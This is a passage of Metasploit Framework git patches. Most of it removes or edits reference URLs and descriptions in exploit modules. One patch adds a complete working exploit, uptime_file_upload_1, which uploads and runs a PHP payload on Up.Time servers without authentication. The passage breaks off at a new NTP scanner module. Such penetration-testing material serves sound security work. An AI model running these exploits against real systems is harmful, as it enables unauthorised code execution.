['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ], + ['BID', '16697'] ], 'Payload' => { diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index aef09e156c..f3d90b8117 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-5227'], ['OSVDB', '77971'], ['BID', '51124'], - ['ZDI', '11-350'], - ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1'] + ['ZDI', '11-350'] ], 'Payload' => { diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 9ef85606a0..0286f2ec02 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -40,7 +40,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0124' ], [ 'OSVDB', '80105' ], [ 'BID', '52431' ], - [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03229235' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124' ] ], 'Payload' => diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index aa98b9ab4e..ed26b02365 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '83774' ], [ 'EDB', '19613' ], [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ], - [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ], [ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ], ], 'DisclosureDate' => 'Jun 24 2012', diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index 9e987f14eb..a5637b1b3e 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2009-1029' ], [ 'OSVDB', '53560'], - [ 'BID', '34093' ], - [ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_date-bof.txt' ], + [ 'BID', '34093' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index b5f896d75b..ef53ef6207 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '53559' ], [ 'CVE', '2009-1029' ], - [ 'BID', '33926' ], - [ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ] + [ 'BID', '33926' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index d4ae44de2b..46db38c85c 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -35,9 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ # Bernardo's work with cmd exec via udf - [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], - # Advice from 2005 on securing MySQL on Windows, kind of helpful. - [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] + [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 27c274da71..b437751a1a 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '87334'], [ 'BID', '56539' ], - [ 'EDB', '22738' ], - [ 'URL', 'http://retrogod.altervista.org/9sg_novell_netiq_ldapagnt_adv.htm' ] + [ 'EDB', '22738' ] ], 'Payload' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index fa8277fb54..24fdecf113 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'ZDI', '10-090' ], - [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ] + [ 'ZDI', '10-090' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index 89913f04e5..911d0683cf 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -33,8 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-3176' ], [ 'OSVDB', '80231' ], [ 'BID', '52659' ], - [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ], - [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ] + [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 8594b5a0c6..6d955d6966 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'ZDI', '10-090' ], - [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ] + [ 'ZDI', '10-090' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index 9c8cbbc949..f4930191b4 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-3175' ], [ 'OSVDB', '80231' ], [ 'BID', '52659' ], - [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ], - [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ] + [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 2539cb0699..5dcf583fc3 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -25,7 +25,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2002-0965'], [ 'OSVDB', '5041'], [ 'BID', '4845'], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ], [ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ], ], 'Privileged' => true, diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 52c9dcd97b..9fd971c9e6 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ], [ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL ], 'Platform' => 'win', diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 2bc03b21f0..096e470c38 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '46105' ], [ 'URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability' ], [ 'URL', 'http://www.auscert.org.au/render.html?it=9433' ], - [ 'URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf' ], [ 'URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf' ], ], 'DefaultOptions' => diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 1d592b5fec..0c27241964 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2011-3322'], ['OSVDB', '75371'], - ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'], ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow'] ], 'Payload' => diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index ded0c6d24d..817f32c8d2 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -42,7 +42,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2003-0818'], [ 'OSVDB', '3902' ], [ 'BID', '9633'], - [ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'], [ 'MSB', 'MS04-007'], ], diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 54613a7b59..25d5394945 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -80,8 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MSB', 'MS08-068'], [ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'], [ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ], - [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ], - [ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ] + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ], 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index 7dcfec49fe..9f54353a9c 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2006-6184'], ['OSVDB', '11350'], ['BID', '21320'], - ['EDB', '2887'], - ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd19.zip'], + ['EDB', '2887'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 964048e51a..410c818099 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2005-1812'], ['OSVDB', '16954'], - ['BID', '13821'], - ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'], + ['BID', '13821'] ], 'DefaultOptions' => diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 64e87043fe..21153212e7 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -22,7 +22,6 @@ class Metasploit3 < Msf::Post 'Jon Hart %w(linux osx unix win), - 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], 'SessionTypes' => %w(meterpreter shell) ) ) diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb index 76ae0ca27d..09abdec2b3 100644 --- a/modules/post/windows/escalate/golden_ticket.rb +++ b/modules/post/windows/escalate/golden_ticket.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'meterpreter' ], 'References' => [ - ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'], - ['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/'] + ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'] ] )) diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 1127de5ac3..928f36fccf 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Post [ 'OSVDB', '68552' ], [ 'CVE', '2010-2743' ], [ 'MSB', 'MS10-073' ], - [ 'URL', 'http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php' ], [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ], [ 'EDB', '15985' ] ], diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index 9d805f7f92..abb3304552 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -27,11 +27,7 @@ class Metasploit3 < Msf::Post 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 ], 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => - [ - [ 'URL', 'http://www.storm.net.nz/projects/16' ] - ] + 'SessionTypes' => [ 'meterpreter' ] )) register_options([ From 5b86d2ef956aee4afb62f8f0a2d3bfff710673c6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 27 Oct 2015 14:38:18 -0500 Subject: [PATCH 0993/2172] Fix #6133, update description, authors and references Fix #6133 Thank you @japp-0xlabs --- .../http/zpanel_information_disclosure_rce.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index a6e100f521..9fa8a71709 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -19,17 +19,19 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Zpanel Remote Unauthenticated RCE', 'Description' => %q{ This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability is due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the + in Zpanel. The vulnerability is due to a vulnerable version + of pChart used by ZPanel that allows unauthenticated users to read + arbitrary files remotely on the file system. This particular module + utilizes this vulnerability to identify the username/password + combination of the MySQL instance. With the credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. }, 'Author' => [ + 'Balazs Makany', # pChart vuln discovery + 'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel 'dawn isabel', 'brad wolfe', 'brent morris', @@ -38,12 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart - [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], - [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + [ 'EDB', '31173' ], # vulnerable version of pChart used by zpanel + [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel + [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ], + [ 'URL', 'http://pastebin.com/y5Pf4Yms' ] ], 'Payload' => { From 592fdef93db4a6d32fc63abf26a5fe19fa70d6c8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 27 Oct 2015 17:29:55 -0500 Subject: [PATCH 0994/2172] Update uptime_code_exec --- .../exploits/multi/http/uptime_code_exec.rb | 50 ++++++++++++------- 1 file changed, 31 insertions(+), 19 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index fad9213d23..629894802a 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -13,12 +13,17 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Idera Uptime 7 post2file.php Arbitrary File Upload', + 'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload', 'Description' => %q{ - This module exploits a vulnerability found in Uptime - version 7.4.0 and 7.5.0 By supplying a specially - crafted request is possible to upload file and execute - arbitrary commands through privilege escalation. + This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0. + + The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php, + which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated + by the vendor. + + Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it + can still be bypassed and gain privilege escalation, and allows the attacker to upload file + again, and execute arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => @@ -48,6 +53,13 @@ class Metasploit4 < Msf::Exploit::Remote OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) ], self.class) + + register_advanced_options( + [ + OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']), + OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']), + OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe']) + ], self.class) end def print_status(msg='') @@ -191,16 +203,16 @@ class Metasploit4 < Msf::Exploit::Remote phpfile_name = rand_text_alpha(10) if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') - phppath = '/usr/local/uptime/apache/bin/php' - uploadpath = '/usr/local/uptime/GUI/wizards' + phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph') + uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards') cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else vprint_status('Found Windows installation - Setting appropriated PATH') - phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' - uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards\\' - cmd = 'c:\\windows\\system32\\cmd.exe' + phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe') + uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\') + cmd = datastore['CmdPath'] cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end @@ -215,12 +227,12 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { - 'page' => 'Users', - 'subPage' => 'UserContainer' + 'page' => 'Users', + 'subPage' => 'UserContainer' }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) - matchdata = res_priv.body.match(/UPTIME.CurrentUser.userId.*/) + matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/) get_id = matchdata[0].gsub(/[^\d]/, '') vprint_status('Escalating privileges...') @@ -273,8 +285,8 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] } ) if res_auth && res_auth.get_cookies =~ /login=true/ @@ -342,10 +354,10 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { - 'section' => 'RunERDCInstance', - 'subsection' => 'view', - 'id' => mon_get_id, - 'name' => 'Exploit' + 'section' => 'RunERDCInstance', + 'subsection' => 'view', + 'id' => mon_get_id, + 'name' => 'Exploit' } ) else From 0c648eb2103a44d8d045d002f48472951885b434 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 27 Oct 2015 17:31:31 -0500 Subject: [PATCH 0995/2172] Move to modules/exploits/multi/http/uptime_file_upload_2 This exploit is rather similiar to uptime_file_upload.rb, because they both abuse post2file to upload. The difference is that this module requires a priv escalation to be able to upload, and the other one doesn't. --- .../multi/http/{uptime_code_exec.rb => uptime_file_upload_2.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{uptime_code_exec.rb => uptime_file_upload_2.rb} (100%) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb similarity index 100% rename from modules/exploits/multi/http/uptime_code_exec.rb rename to modules/exploits/multi/http/uptime_file_upload_2.rb From cfe97489628b6af9b11f990dea72a1a3e5cc7c46 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 27 Oct 2015 17:36:54 -0500 Subject: [PATCH 0996/2172] Deprecate exploits/multi/http/uptime_file_upload Please use uptime_file_upload_1.rb --- .../exploits/multi/http/uptime_file_upload.rb | 3 + .../multi/http/uptime_file_upload_1.rb | 99 +++++++++++++++++++ 2 files changed, 102 insertions(+) create mode 100644 modules/exploits/multi/http/uptime_file_upload_1.rb diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb index 988fdd743b..a17bf145e3 100644 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ b/modules/exploits/multi/http/uptime_file_upload.rb @@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/file_upload_1') def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/http/uptime_file_upload_1.rb b/modules/exploits/multi/http/uptime_file_upload_1.rb new file mode 100644 index 0000000000..38a75022d0 --- /dev/null +++ b/modules/exploits/multi/http/uptime_file_upload_1.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found within the Up.Time + monitoring server 7.2 and below. A malicious entity can upload a PHP file into the + webroot without authentication, leading to arbitrary code execution. + }, + 'Author' => + [ + 'Denis Andzakovic ' # Vulnerability discoverey and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '100423' ], + [ 'BID', '64031'], + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] + ], + 'Payload' => + { + 'Space' => 10000, # just a big enough number to fit any PHP payload + 'DisableNops' => true + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Up.Time 7.0/7.2', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 19 2013')) + + register_options([ + OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), + Opt::RPORT(9999) + ], self.class) + end + + def check + uri = target_uri.path + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') + }) + + if res and res.code == 500 and res.body.to_s =~ /<\/title>/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + + end + + def exploit + print_status("#{peer} - Uploading PHP to Up.Time server") + uri = target_uri.path + + @payload_name = "#{rand_text_alpha(5)}.php" + php_payload = get_write_exec_payload(:unlink_self => true) + + post_data = ({ + "file_name" => @payload_name, + "script" => php_payload + }) + + print_status("#{peer} - Uploading payload #{@payload_name}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), + 'vars_post' => post_data, + }) + + unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'wizards', @payload_name), + 'method' => 'GET' + }) + end +end From 87577438215b478a30eb68b7378a59f00e2f73eb Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 27 Oct 2015 17:39:11 -0500 Subject: [PATCH 0997/2172] Update description --- modules/exploits/multi/http/uptime_file_upload_1.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/http/uptime_file_upload_1.rb b/modules/exploits/multi/http/uptime_file_upload_1.rb index 38a75022d0..3e4a56ed4a 100644 --- a/modules/exploits/multi/http/uptime_file_upload_1.rb +++ b/modules/exploits/multi/http/uptime_file_upload_1.rb @@ -19,6 +19,10 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution. + + Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly + mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use + exploits/multi/http/uptime_file_upload_2. }, 'Author' => [ From f2b6d37630526635e2ec8f782650d57a19fb5148 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 27 Oct 2015 17:37:03 -0700 Subject: [PATCH 0998/2172] Add WIP module for Cisco Talos' NTP 'NAK to the future' --- lib/rex/proto/ntp/modes.rb | 22 +++++++ .../scanner/ntp/ntp_nak_to_the_future.rb | 65 +++++++++++++++++++ 2 files changed, 87 insertions(+) create mode 100644 modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb index 736b13a10a..1fbc01db49 100644 --- a/lib/rex/proto/ntp/modes.rb +++ b/lib/rex/proto/ntp/modes.rb @@ -92,6 +92,28 @@ module NTP end end + class NTPCryptoNAK < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |LI | VN | mode| Stratum | Poll | Precision | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :li, 2, default: 0 + unsigned :version, 3, default: 3 + unsigned :mode, 3, default: 1 + unsigned :stratum, 8, default: 0 + unsigned :poll, 8, default: 0 + unsigned :precision, 8, default: 0 + unsigned :root_delay, 32, default: 0 + unsigned :root_dispersion, 32, default: 0 + unsigned :reference_id, 32, default: 0 + unsigned :reference_timestamp, 64, default: 0 + unsigned :origin_timestamp, 64, default: 0 + unsigned :receive_timestamp, 64, default: 0 + unsigned :transmit_timestamp, 64, default: 0 + rest :payload + end + def self.ntp_control(version, operation, payload = nil) n = NTPControl.new n.version = version diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb 